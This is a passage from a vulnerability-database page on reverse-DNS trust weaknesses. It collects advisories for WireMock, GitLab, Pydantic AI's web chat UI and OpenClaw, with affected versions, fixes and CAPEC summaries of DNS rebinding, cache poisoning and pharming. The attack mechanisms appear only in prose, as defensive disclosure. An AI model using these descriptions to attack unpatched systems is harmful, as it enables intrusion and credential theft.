        "ecosystem": "Maven",
        "name": "com.github.tomakehurst:wiremock-jre8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.35.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.github.tomakehurst:wiremock-jre8-standalone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.35.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wiremock"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-41329"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-08T12:19:49Z",
    "nvd_published_at": "2023-09-06T21:15:14Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\nThe proxy mode of WireMock, can be protected by the network restrictions configuration, as documented in [Preventing proxying to and recording from specific target addresses](https://wiremock.org/docs/configuration/#preventing-proxying-to-and-recording-from-specific-target-addresses). These restrictions can be configured using the domain names, and in such a case the configuration is vulnerable to the DNS rebinding attacks. A similar patch was applied in WireMock 3.0.0-beta-15 for the WireMock Webhook Extensions.\n\nThe root cause of the attack is a defect in the logic which allows for a race condition triggered by a DNS server whose address expires in between the initial validation and the outbound network request that might go to a domain that was supposed to be prohibited. Control over a DNS service is required to exploit this attack, so it has high execution complexity and limited impact.\n\n### Affected versions\n\n- WireMock 3,x until 3.0.3 (security patch), on default settings in environments with access to the network\n- WireMock 2.x until 2.35.1 (security patch), on default settings in environments with access to the network\n- Python WireMock until 2.6.1\n- WireMock Studio - all versions, this proprietary product was discontinued in 2022\n\n\n### Patches\n\n- WireMock 3.0.3 + the 3.0.3-1 Docker image\n- WireMock 2.35.1 + the 2.35.1-1 Docker image - backport to WireMock 2.x\n- Python WireMock 2.6.1\n\n### Workarounds\n\nFor WireMock:\n\n- Option 1: Configure WireMock to use IP addresses instead of the domain names in the outbound URLs subject to DNS rebinding\n- Option 2: Use external firewall rules to define the list of permitted destinations\n\nFor WireMock Studio: N/A. Switch to another distribution, there will be no fix provided. The vendor of former WireMock Studio recommends migration to [WireMock Cloud](https://www.wiremock.io/product)\n\n### References\n\n- CVE-2023-41327 - Related issue in the WireMock Webhooks Extension\n",
  "id": "GHSA-pmxq-pj47-j8j4",
  "modified": "2023-09-08T12:19:49Z",
  "published": "2023-09-08T12:19:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wiremock/wiremock/security/advisories/GHSA-pmxq-pj47-j8j4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41329"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wiremock/wiremock"
    },
    {
      "type": "WEB",
      "url": "https://wiremock.org/docs/configuration/#preventing-proxying-to-and-recording-from-specific-target-addresses"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Domain restrictions bypass via DNS Rebinding in WireMock and WireMock Studio webhooks, proxy and recorder modes"
}

GHSA-PX7V-HX94-8WMF

Vulnerability from github – Published: 2026-06-25 06:30 – Updated: 2026-06-25 06:30

Details

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 8.3 before 18.11.6, 19.0 before 19.0.3, and 19.1 before 19.1.1 that under certain conditions could have allowed an authenticated user with maintainer-role permissions to make requests to internal network resources through mirror synchronization due to improper URL validation.

Severity

0.0 (None)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-12635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-25T05:16:51Z",
    "severity": "LOW"
  },
  "details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 8.3 before 18.11.6, 19.0 before 19.0.3, and 19.1 before 19.1.1 that under certain conditions could have allowed an authenticated user with maintainer-role permissions to make requests to internal network resources through mirror synchronization due to improper URL validation.",
  "id": "GHSA-px7v-hx94-8wmf",
  "modified": "2026-06-25T06:30:42Z",
  "published": "2026-06-25T06:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12635"
    },
    {
      "type": "WEB",
      "url": "https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-1-1-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/594321"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q2XC-RRXJ-58X9

Vulnerability from github – Published: 2026-10-08 17:16 – Updated: 2026-10-08 17:16

Summary

Pydantic AI Web chat UI (`Agent.to_web()`, `clai web`): the local chat endpoint does not validate the `Host` header

Details

Summary

The Pydantic AI development web chat UI (Agent.to_web(), clai web) does not validate the Host header of incoming requests. A website a developer visits can use DNS rebinding to make requests to a chat UI running on that developer's machine appear same-origin to the browser, causing the served agent to run and to execute its tools with the privileges and credentials of the local process.

Details

Once a name the attacker controls resolves to the loopback address, the browser treats the request as same-origin, so neither an Origin check nor a CSRF token constrains it — a same-origin page can read the served UI and any token in it.

Binding the web UI to localhost — the default — does not prevent this.

Impact

Applications and developers serving an agent through Agent.to_web() or clai web. The consequences depend on the tools the served agent exposes, and can include data disclosure as well as unwanted tool side effects.

Current browser protections reduce but do not remove this exposure: Chromium's Local Network Access gates loopback subresource requests, but does not cover top-level navigations, and Safari does not implement it.

Mitigation

Upgrade to pydantic-ai/pydantic-ai-slim >= 2.30.0, or >= 1.107.5 on the v1 maintenance line.

The fix validates the Host header and rejects anything other than localhost, a loopback/LAN IP address, or an explicitly allowed host, responding 421 Misdirected Request otherwise. If you serve the web chat UI under a real hostname — behind a reverse proxy, tunnel, or similar — name it explicitly:

app = agent.to_web(allowed_hosts=['ui.example.com'])

Severity

6.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pydantic-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.34.0"
            },
            {
              "fixed": "1.107.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pydantic-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0b1"
            },
            {
              "fixed": "2.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pydantic-ai-slim"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.34.0"
            },
            {
              "fixed": "1.107.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pydantic-ai-slim"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0b1"
            },
            {
              "fixed": "2.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107292"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:16:39Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe Pydantic AI development web chat UI (`Agent.to_web()`, `clai web`) does not validate the `Host` header of incoming requests. A website a developer visits can use DNS rebinding to make requests to a chat UI running on that developer\u0027s machine appear same-origin to the browser, causing the served agent to run and to execute its tools with the privileges and credentials of the local process.\n\n### Details\n\nOnce a name the attacker controls resolves to the loopback address, the browser treats the request as same-origin, so neither an `Origin` check nor a CSRF token constrains it \u2014 a same-origin page can read the served UI and any token in it.\n\nBinding the web UI to localhost \u2014 the default \u2014 does not prevent this.\n\n### Impact\n\nApplications and developers serving an agent through `Agent.to_web()` or `clai web`. The consequences depend on the tools the served agent exposes, and can include data disclosure as well as unwanted tool side effects.\n\nCurrent browser protections reduce but do not remove this exposure: Chromium\u0027s Local Network Access gates loopback subresource requests, but does not cover top-level navigations, and Safari does not implement it.\n\n### Mitigation\n\nUpgrade to `pydantic-ai`/`pydantic-ai-slim` \u003e= 2.30.0, or \u003e= 1.107.5 on the v1 maintenance line.\n\nThe fix validates the `Host` header and rejects anything other than localhost, a loopback/LAN IP address, or an explicitly allowed host, responding `421 Misdirected Request` otherwise. If you serve the web chat UI under a real hostname \u2014 behind a reverse proxy, tunnel, or similar \u2014 name it explicitly:\n\n```python\napp = agent.to_web(allowed_hosts=[\u0027ui.example.com\u0027])\n```",
  "id": "GHSA-q2xc-rrxj-58x9",
  "modified": "2026-10-08T17:16:39Z",
  "published": "2026-10-08T17:16:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-q2xc-rrxj-58x9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/pydantic-ai/pull/7437"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/pydantic-ai/pull/7438"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/pydantic-ai/commit/394cc1d31656620704a703a2daed752afa5135fe"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/pydantic-ai/commit/871c7aeec5dfed2138655ccbccbf15c6d763bae7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pydantic/pydantic-ai"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/pydantic-ai/releases/tag/v1.107.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/pydantic-ai/releases/tag/v2.30.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pydantic AI Web chat UI (`Agent.to_web()`, `clai web`): the local chat endpoint does not validate the `Host` header"
}

GHSA-Q9W8-CF67-R238

Vulnerability from github – Published: 2026-04-03 03:22 – Updated: 2026-04-28 18:20

Summary

OpenClaw: macOS Tailnet DNS Spoofing & Credential Exfiltration

Details

Summary

macOS Wide-Area Discovery Accepts Arbitrary Tailnet Peer as DNS Authority and Exfiltrates Operator Credentials

Current Maintainer Triage

Status: narrow
Normalized severity: medium
Assessment: Real shipped macOS discovery steering bug, but exploitation needs same-tailnet position, a CA-trusted endpoint, and user selection, so medium not high.

Affected Packages / Versions

Package: openclaw (npm)
Latest published npm version: 2026.3.31
Vulnerable version range: <=2026.3.28
Patched versions: >= 2026.3.31
First stable tag containing the fix: v2026.3.31

Fix Commit(s)

a23c33a681f8c1b22dc793995acc4c5c4b568346 — 2026-03-31T10:04:11+01:00

OpenClaw thanks @nexrin for reporting.

Severity

7.1 (High)


                  
                    CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.28"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41393"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T03:22:32Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nmacOS Wide-Area Discovery Accepts Arbitrary Tailnet Peer as DNS Authority and Exfiltrates Operator Credentials\n\n## Current Maintainer Triage\n- Status: narrow\n- Normalized severity: medium\n- Assessment: Real shipped macOS discovery steering bug, but exploitation needs same-tailnet position, a CA-trusted endpoint, and user selection, so medium not high.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published npm version: `2026.3.31`\n- Vulnerable version range: `\u003c=2026.3.28`\n- Patched versions: `\u003e= 2026.3.31`\n- First stable tag containing the fix: `v2026.3.31`\n\n## Fix Commit(s)\n- `a23c33a681f8c1b22dc793995acc4c5c4b568346` \u2014 2026-03-31T10:04:11+01:00\n\nOpenClaw thanks @nexrin for reporting.",
  "id": "GHSA-q9w8-cf67-r238",
  "modified": "2026-04-28T18:20:31Z",
  "published": "2026-04-03T03:22:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-q9w8-cf67-r238"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/a23c33a681f8c1b22dc793995acc4c5c4b568346"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.31"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: macOS Tailnet DNS Spoofing \u0026 Credential Exfiltration"
}

Mitigation

Architecture and Design

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

Mitigation MIT-42

Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

CAPEC-142: DNS Cache Poisoning

A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.

CAPEC-275: DNS Rebinding

An adversary serves content whose IP address is resolved by a DNS server that the adversary controls. After initial contact by a web browser (or similar client), the adversary changes the IP address to which its name resolves, to an address within the target organization that is not publicly accessible. This allows the web browser to examine this internal address on behalf of the adversary.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-89: Pharming

A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.

← Back to the CWE list